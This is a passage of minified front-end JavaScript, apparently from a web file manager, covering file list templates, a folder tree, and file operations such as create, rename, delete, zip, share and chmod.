l=$(".group-space-use");if((i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE)&&G.isRoot||i==G.KOD_GROUP_PATH&&"owner"==t.role){var c=e.groupSpaceUse;if(c){var d=core.userSpaceHtml(c.sizeUse+"/"+c.sizeMax);l.removeClass("hidden").html(d)}else l.addClass("hidden")}else l.addClass("hidden");if(e.userSpace){var c=e.userSpace,d=core.userSpaceHtml(c.sizeUse+"/"+c.sizeMax);$(".user-space-info").html(d)}if("notExists"==a&&($(".path-tips span").html(LNG.not_exists),$(".path-tips").show()),$(".role-label-box").html(""),i==G.KOD_GROUP_SHARE){var p=""+LNG.group_guest+"";$(".role-label-box").html(p),G.isRoot&&$(".role-label-box").html("")}else if(i==G.KOD_GROUP_PATH&&t.groupRole){var p=""+t.groupRole.name+"";$(".role-label-box").html(p)}(i==G.KOD_GROUP_ROOT_ALL||i==G.KOD_GROUP_ROOT_SELF||i==G.KOD_USER_FAV||i==G.KOD_GROUP_SHARE)&&$(".path-tips").hide(),1==G.isRoot&&t.adminRealPath?$(".admin-real-path").removeClass("hidden"):$(".admin-real-path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,init:function(){$(window).bind("resize",function(){resetTotalHeight(),core.isApp("desktop")?ui.resetDesktopIcon():ui.headerAddress.resetWidth()}),bindScrollLoadMore()}}}),define("app/path/tpl/file/list.html",[],"\n{{if type=='icon-folder'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n
        \n {{fileIconMake('folder','icon',list)}}\n
        \n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='list-folder'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n
        \n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n \n {{if list.isParent&&list.isReadable}}{{/if}}\n \n
        \n {{fileIconMake('folder','list',list)}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n
        \n
        {{LNG.folder}}
        \n
        \n
        {{list.mtime || \"\"}}
        \n
        \n
        \n{{if list.isParent&&list.isReadable}}\n
        \n{{/if}}\n\n\n{{else if type=='split-folder'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n
        \n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n
        \n {{fileIconMake('folder','split',list)}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{list.name}}\n {{/if}}\n \n \n {{if list.isReadable && typeof(list.menuType)==\"undefined\"}}\n \n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='icon-file'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n {{fileIconMake('file','icon',list)}}\n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n
        \n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        \n\n\n{{else if type=='list-file'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n
        \n \n {{fileIconMake('file','list',list)}}\n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        {{list.ext |kod.window.htmlEncode}} {{LNG.file}}
        \n
        {{list.size |pathTools.fileSize}}
        \n
        {{list.mtime || \"\"}}
        \n
        \n
        \n\n\n{{else if type=='split-file'}}\n
        \n {{if !list.menuType}}
        {{/if}}\n
        \n
        \n {{fileIconMake('file','split',list)}}\n {{if list.metaInfo}}\n
        {{list.metaInfo |kod.core.icon}}
        \n {{/if}}\n \n {{if typeof(list.exists)=='number' && list.exists==0}}\n {{list.name}}\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n \n
        \n
        \n{{/if}}\n\n"),define("app/common/tree",["../path/pathOperate","../path/clipboard","../path/search"],function(e){var t,a,i=e("../path/pathOperate"),n=e("../path/clipboard"),o=e("../path/search"),s=!1;ui.pathOperate=i;var r=function(e,t){var a=["menu-tree-group","menu-tree-fav","menu-tree-folder-fav"];if(e&&e[0]&&-1!==$.inArray(e[0].menuType,a))return e;for(var i=[],n=[],o=0;e.length>o;o++)e[o].drop=!1,e[o].drag=!1,e[o].name=e[o].name,e[o].isParent&&e[o].children&&(e[o].children=r(e[o].children)),e[o].isWriteable,"folder"==e[o].type?n.push(e[o]):i.push(e[o]);return t?e:(n=n.sort(function(e,t){var e=e.name,t=t.name;return pathTools.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return pathTools.strSort(e,t)}),n.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var a=LocalData.getConfig(t);return 0==a?{}:a}LocalData.setConfig(t,e)},n=function(t){for(var a=0;t.length>a;a++){var i=t[a].path;void 0!==e[i]&&(t[a].open=e[i])}return t},o=function(){for(var t=a.getNodesByFilter(function(e){return 0==e.level?!0:!1}),n={},o=0;t.length>o;o++)n[t[o].path]=t[o].open;return e=n,i(e),e};return e=i(),{list:function(){return e},reset:n,save:function(){setTimeout(o,50)}}}(),c=function(){$.ajax({url:G.appHost+Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folder-list-tree").html('
        '+LNG.system_error+"
        ")},success:function(e){if(!e.code)return $("#folder-list-tree").html('
        '+LNG.system_error+"
        "),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folder-list-tree"),u,t),a=$.fn.zTree.getZTreeObj("folder-list-tree")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),core.isApp("editor")&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=a.getSelectedNodes()[0];if(i)switch(t){case"up":var n=i.getPreNode();if(n){if(n.open&&n.children.length>0)for(;n.open&&n.children&&n.children.length>=1;)n=n.children[n.children.length-1]}else n=i.getParentNode();a.selectNode(n);break;case"down":if(i.open&&i.children.length>=1)n=i.children[0];else{var o=i,n=o.getNextNode()||o.getParentNode().getNextNode();try{for(;!n;)o=o.getParentNode(),n=o.getNextNode()||o.getParentNode().getNextNode()}catch(e){}}a.selectNode(n);break;case"left":i.isParent?i.open?a.expandNode(i,!1):a.selectNode(i.getParentNode()):a.selectNode(i.getParentNode());break;case"right":i.open?a.selectNode(i.children[0]):a.expandNode(i,!0);break;default:}},p=function(){return core.isApp("editor")?!1:!0},u={async:{enable:!0,dataType:"json",url:function(){return G.appHost+Config.treeAjaxURL},autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,a){return a.code?r(a.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var a=15,i=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");i.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(i).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";i.before(s)}i.before("");var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menu-tree-file"),"folder"==t.type&&(r="menu-tree-folder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+pathTools.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime; -"file"!=t.type&&(l=t.name),i.parent().addClass(r).attr("title",l),0==t.isWriteable&&i.parent().addClass("file-not-writeable"),0==t.isReadable&&i.parent().addClass("file-not-readable"),0===t.exists&&i.parent().addClass("file-not-readable")}},callback:{onClick:function(e,t,i){if(0==i.level&&l.save(),$(e.target).hasClass("menu-item")||$(e.target).parent().hasClass("menu-item")){var n=$("#"+i.tId+"_a"),o=n.find(".menu-item");return n.contextMenu({x:o.offset().left+o.width(),y:o.offset().top}),stopPP(e)}return a.selectNode(i),core.isApp("editor")&&"folder"==i.type?(a.expandNode(i),void 0):(core.isApp("editor")||"folder"!=i.type?(kodApp.setLastOpenTarget($("#"+i.tId)),kodApp.open(f().path)):ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,a){0==a.level&&l.save()},onExpand:function(e,t,a){0==a.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(a.expandNode(i),void 0)},beforeRightClick:function(e,t){a.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,n,o){return $("#"+n.tId+"_my_ico").removeClass("ico_loading"),0==o.data.length?(a.removeChildNodes(n),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,n,o){var s=o.getParentNode();if(a.getNodesByParam("name",o.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),a.removeNode(o),void 0;if(o.create){var r=o.path+"/"+o.name;"folder"==o.type?i.newFolder(r,function(){t=function(){var e=a.getNodesByParam("name",o.name,s)[0];a.selectNode(e),b()},h(s)}):i.newFile(r,function(){t=function(){var e=a.getNodesByParam("name",o.name,s)[0];a.selectNode(e),b()},h(s)})}else{var l=rtrim(o.path,"/"),c=core.pathFather(o.path)+o.name;i.rname(l,c,function(e){o.path=e,t=function(){var e=a.getNodesByParam("name",o.name,s)[0];a.selectNode(e),b(),"folder"==o.type&&ui.path.list(o.path)},h(s)})}},beforeDrag:function(e,t){for(var a=0,i=t.length;i>a;a++)if(t[a].drag===!1)return!1;return!0},beforeDrop:function(e,t,a){return a?a.drop!==!1:!0},onDrop:function(e,t,a,i){var o="",s="",r=a[0];(r.father||r.thisPath)&&(o=r.father+urlEncode(r.name),s=i.father+urlEncode(i.name),n.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(a){var t=a.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=a.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(a.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){g(G.KOD_USER_FAV),b()},v=function(){m(),g(G.KOD_GROUP_ROOT_SELF),g(G.KOD_GROUP_ROOT_ALL)},g=function(e){var t=a.getNodesByParam("path",e,null);h(t[0])},b=function(){core.isApp("explorer")&&ui.f5()};return{makeParam:f,treeOpenHistory:l,treeDataSort:r,init:c,refresh:h,refreshPath:g,refreshFav:m,refreshGroup:v,zTree:function(){return a},openEditor:function(){kodApp.open(f().path)},openWindow:function(){kodApp.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):kodApp.download(f().path)},setSelect:function(e){return},open:function(){if(!($(".dialog-path-remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),kodApp.setLastOpenTarget($(".curSelectedNode").parent()),kodApp.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,b)},search:function(){o("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){n.copy(f(!0))},cute:function(){n.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){n.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){n.cuteDrag(f(!0),e,function(){g()})})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),n.past(e.path,function(){b(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),n.copyDrag(f(!0),core.pathFather(e.path),function(){b(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){b(),h(t)})},checkIfChange:function(e){s||(s=!0,a&&(a.getNodesByFilter(function(t){var a=t.path;return"folder"==t.type&&core.pathClear(a)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){s=!1},500)))},explorer:function(){var e=a.getSelectedNodes();if(0>=e.length){var t=a.getNodes();a.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=a.getSelectedNodes();if(0>=i.length){var n=a.getNodes();a.selectNode(n[0])}else"file"==i[0].type&&a.selectNode(i[0].getParentNode());var o=f(),s=o.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;a.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:o.path}}else{for(var p=e;a.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:o.path}}if(void 0!=s.children){var u=a.addNodes(s,newNode)[0];a.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=a.addNodes(s,newNode)[0];a.editName(e)},s.isParent?a.expandNode(s):t()},showFile:function(){var e=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=a.getSelectedNodes()[0];a.editName(e),e.beforeName=e.name}}}),define("app/path/pathOperate",[],function(e){tplFileInfo=e("./tpl/fileinfo/fileInfo.html"),tplPathInfo=e("./tpl/fileinfo/pathInfo.html");var t=["/","\\",":","*","?",'"',"<",">","|"],a=["/","\\"],i=function(e){var i=function(e,t){for(var a=t.length,i=0;a>i;i++)if(e.indexOf(t[i])>0)return!0;return!1},n=a;return G.systemOS&&"windows"==G.systemOS&&(n=t),i(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],a=function(e){return e?e.replace(/"/g,'\\\\"'):e},i=0;e.length>i;i++)t.push({type:a(e[i].type),path:urlEncode(a(e[i].path))});return"dataArr="+jsonEncode(t)},o=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:G.appHost+"explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},s=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:G.appHost+"explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},r=function(e,t,a){return e&&t&&e!=t?i(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:G.appHost+"explorer/pathRname",data:"path="+urlEncode(e)+"&rnameTo="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof a&&(e&&e.info?a(e.info):a(!1))}}),void 0):("function"==typeof a&&a(),void 0):void 0},l=function(e,t,a,i){if(a=void 0==a?!1:a,i=void 0==i?!1:i,window.event&&window.event.shiftKey&&(i=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r=G.appHost+"explorer/pathDelete",l=n(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r=G.appHost+"userShare/del"),i&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle-clear"==e[0].type||G.USER_RECYCLE&&G.thisPath==G.USER_RECYCLE||G.thisPath==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r=G.appHost+"explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle-clear"==e[0].type&&(l="postEmpty=1")),e[0]&&e[0].path){var c=""+htmlEncode(core.pathThis(e[0].path))+"";s=e.length>1?c+' ... '+e.length+LNG.remove_item+"
        "+s:c+"
        "+s}var d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){if(Tips.close(a),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.selfShare=a.info;var i=$.dialog.list["share-dialog"];void 0!=i&&i.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(a)}})};a?d():$.dialog({id:"dialog-path-remove",fixed:!0,icon:"question",title:o,padding:"40px 40px",lock:!0,background:"#000",opacity:.1,content:"
        "+s+"
        ",ok:d,cancel:!0})}},c=function(e){if(core.authCheck("explorer.fileDownload",!0)&&!(1>e.length)){var t=G.appHost+"explorer/zipDownload";G.sharePage!==void 0&&(t=G.appHost+"share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t=G.appHost+"explorer/fileDownloadRemove&path="+urlEncode(e.info);t+="&accessToken="+G.accessToken,G.sharePage!==void 0&&(t=G.appHost+"share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},d=function(e,t,a){1>e.length||(a||(a="zip"),$.ajax({url:G.appHost+"explorer/zip&fileType="+a,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},p=function(e,t,a){if(e){var i=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n=G.appHost+"explorer/unzip&path="+urlEncode(e);"toThis"==a&&(n+="&toThis=1"),"toFolder"==a?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&pathTo="+e,i(n)}):i(n)}},u=function(e){var t=e.path,a=core.pathPre(t);if(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE||a==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_share,"warning"),void 0;var i="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare.set",!0)&&$.ajax({url:G.appHost+"userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.selfShare=e.info;var a={path:t,type:i,name:core.pathThis(t)};h(a,function(e){e.code?(G.selfShare=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content-info input[name=type]").val(i),$(".content-info input[name=path]").val(t),$(".content-info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==i&&($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden"))}))})}}})},f=function(t,a){0!=$(".share-dialog").length&&$(".share-dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=a&&a()})},h=function(e,t){$.ajax({url:G.appHost+"userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share-create-button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share-create-button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var a=e("./tpl/share.html"),i=template.compile(a),n=i({LNG:LNG});$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share-time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share-time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share-setting-more").addClass("hidden"),void 0==e)$(".share-has-url").addClass("hidden"),$(".share-action .share-remove-button").addClass("hidden"),$(".content-info input[name=sid]").val(""),$(".content-info input[name=type]").val(""),$(".content-info input[name=name]").val(""),$(".content-info input[name=showName]").val(""),$(".content-info input[name=path]").val(""),$(".content-info input[name=timeTo]").val(""),$(".content-info input[name=sharePassword]").val(""),$(".share-view-info").addClass("hidden");else{e.canUpload===void 0&&(e.canUpload=""),t=e,e.showName||(e.showName=e.name),$(".content-info input[name=sid]").val(e.sid),$(".content-info input[name=type]").val(e.type),$(".content-info input[name=name]").val(e.name),$(".content-info input[name=showName]").val(e.showName),$(".content-info input[name=path]").val(e.path),$(".content-info input[name=timeTo]").val(e.timeTo),$(".content-info input[name=sharePassword]").val(e.sharePassword),$(".share-view-info").removeClass("hidden"),e.numDownload===void 0&&(e.numDownload=0),e.numView===void 0&&(e.numView=0);var a=LNG.share_view_num+e.numView+" "+LNG.share_download_num+e.numDownload;$(".share-view-info").html(a),"1"==e.codeRead?$(".content-info input[name=codeRead]").attr("checked","checked"):$(".content-info input[name=codeRead]").removeAttr("checked"),"1"==e.notDownload?$(".content-info input[name=notDownload]").attr("checked","checked"):$(".content-info input[name=notDownload]").removeAttr("checked"),"1"==e.canUpload?$(".content-info input[name=canUpload]").attr("checked","checked"):$(".content-info input[name=canUpload]").removeAttr("checked"),$(".share-has-url").removeClass("hidden"),"file"==e.type?($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden")):($(".label-code-read").removeClass("hidden"),$(".label-can-upload").removeClass("hidden"));var i=e.type;"folder"==e.type&&(i=1==e.codeRead?"codeRead":"folder");var n=G.appHost+"share/"+i+"&user="+G.userID+"&sid="+e.sid;$(".content-info .share-url").val(n),(e.timeTo||e.sharePassword||e.canUpload||e.codeRead||e.notDownload)&&$(".share-setting-more").removeClass("hidden"),$(".share-remove-button").removeClass("hidden"),$(".share-create-button").text(LNG.share_save)}},r=function(){$(".share-action .share-remove-button").unbind("click").click(function(){l([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content-info .share-more").unbind("click").click(function(){$(".share-setting-more").toggleClass("hidden")}),$(".share-action .share-create-button").unbind("click").click(function(){var e="";$(".share-dialog .content-info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.selfShare=e.info,ui.f5(),s(e.data),$(".share-create-button").text(LNG.share_save)):Tips.tips(e)})}),$(".content-info .open-window").unbind("click").bind("click",function(){window.open($("input.share-url").val())}),$(".content-info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share-url").val())});var e=$("input.share-url"),a=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var i=a.createTextRange();i.moveEnd("character",-a.value.length),i.moveEnd("character",t),i.moveStart("character",0),i.select()}else a.setSelectionRange(0,t)})};s(t),r()},v=function(e){$.ajax({url:G.appHost+"setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},g=function(e,t,a,i,n){if(!(1>e.length)){var o,s=G.myDesktop;i&&(s=core.pathFather(e)),o="folder"==a?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=a),$.ajax({url:G.appHost+"explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},b=function(e,t){if(!(1>e.length)){var a=core.pathThis(e),i=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(i+a+"_project.oexe");$.ajax({url:G.appHost+"explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},y=function(e,t,a){if(e){var i=G.appHost+"explorer/imageRotate&rotate="+t+"&path="+urlEncode(e);$.ajax({url:i,beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){return e?(Tips.close(e),e.code&&"function"==typeof a&&a(e),void 0):(Tips.close(LNG.php_env_error_gd,!1),void 0)}})}},k=function(t){var a={};a.fileInfo=e("./tpl/fileinfo/fileInfo.html"),a.pathInfo=e("./tpl/fileinfo/pathInfo.html"),a.pathInfoMore=e("./tpl/fileinfo/pathInfoMore.html"),1>t.length&&(t=[{path:G.thisPath,type:"folder"}]);var i="info";1==t.length&&(i="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="pathInfoMore",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"pathInfo":"fileInfo",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(a[n]),r=UUID();e.data.is_root=G.isRoot,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.sizeFriendly=pathTools.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(i),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui-outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),x(r,t)})},x=function(e,t){var a=$("."+e);a.find(".open-window").bind("click",function(){window.open(a.find("input.download-url").val())}),a.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(a.find("input.download-url").val(),a.find(".qrcode").get(0))});var i=a.find(".file-md5-loading");if(1==i.length){var o=n(t);o+="&getMd5=1",core.fileInfo(o,function(e){i.removeClass("file-md5-loading"),e.code?i.html(e.data.fileMd5):i.html(LNG.error)})}var s=a.find("input.download-url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),a.find(".edit-chmod").click(function(){var e=$(this).parent().find("input"),a=$(this);$.ajax({url:G.appHost+"explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){a.text(LNG.loading)},error:function(){a.text(LNG.button_save)},success:function(e){a.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){a.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e,t,a){var i=function(){$.ajax({url:G.appHost+"fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return a?(i(),void 0):($.dialog({id:"dialog-fav-remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:i,cancel:!0}),void 0)},N=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}"/"==e.path&&(e.name="Home"),$.ajax({url:G.appHost+"fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&!core.isApp("desktop")&&ui.tree.refreshFav()}})}},C=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},L=function(e){e.find(".type input").change(function(){var 